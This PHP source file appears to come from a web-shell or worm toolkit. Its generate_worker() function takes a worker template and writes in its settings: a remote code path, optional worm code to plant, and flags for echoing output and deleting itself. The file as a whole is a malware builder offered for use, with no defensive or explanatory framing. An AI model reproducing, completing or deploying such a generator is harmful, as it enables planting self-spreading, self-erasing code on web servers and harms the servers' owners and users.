<?php
/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/7/2016
 * Time: 15:16
 */
require_once("get_code.php");

$worker_source_path = "../client/worker.php";

function generate_worker($remote_code_path, $enable_put_worm = false, $worm_code="", $echo_code = false, $echo_wormFile = true, $echo_error = true, $delete_self=true)
{
    global $worker_source_path;
    
    $code = get_code($worker_source_path);
    $pattens = array();
    $replacements = array();
    $pattens[sizeof($pattens)] = generate_assign_patten('remote_code_path');
    $pattens[sizeof($pattens)] = generate_assign_patten('put_worm');
    $pattens[sizeof($pattens)] = generate_assign_patten('echo_code');
    $pattens[sizeof($pattens)] = generate_assign_patten('echo_wormFile');
    $pattens[sizeof($pattens)] = generate_assign_patten('echo_error');
    $pattens[sizeof($pattens)] = generate_assign_patten('delete_self');
    $replacements[sizeof($replacements)] = stringify_code(addslashes($remote_code_path));
    $replacements[sizeof($replacements)] = $enable_put_worm ? 'true' : 'false';
    $replacements[sizeof($replacements)] = $echo_code ? 'true' : 'false';
    $replacements[sizeof($replacements)] = $echo_wormFile ? 'true' : 'false';
    $replacements[sizeof($replacements)] = $echo_error ? 'true' : 'false';
    $replacements[sizeof($replacements)] = $delete_self ? 'true' : 'false';
    if($enable_put_worm)
    {
        $pattens[sizeof($pattens)] = generate_assign_patten('worm_code');
        $replacements[sizeof($replacements)] = preg_replacement_quote(stringify_code($worm_code));
    }
    $code = preg_replace($pattens, $replacements, $code);
    return $code;
}

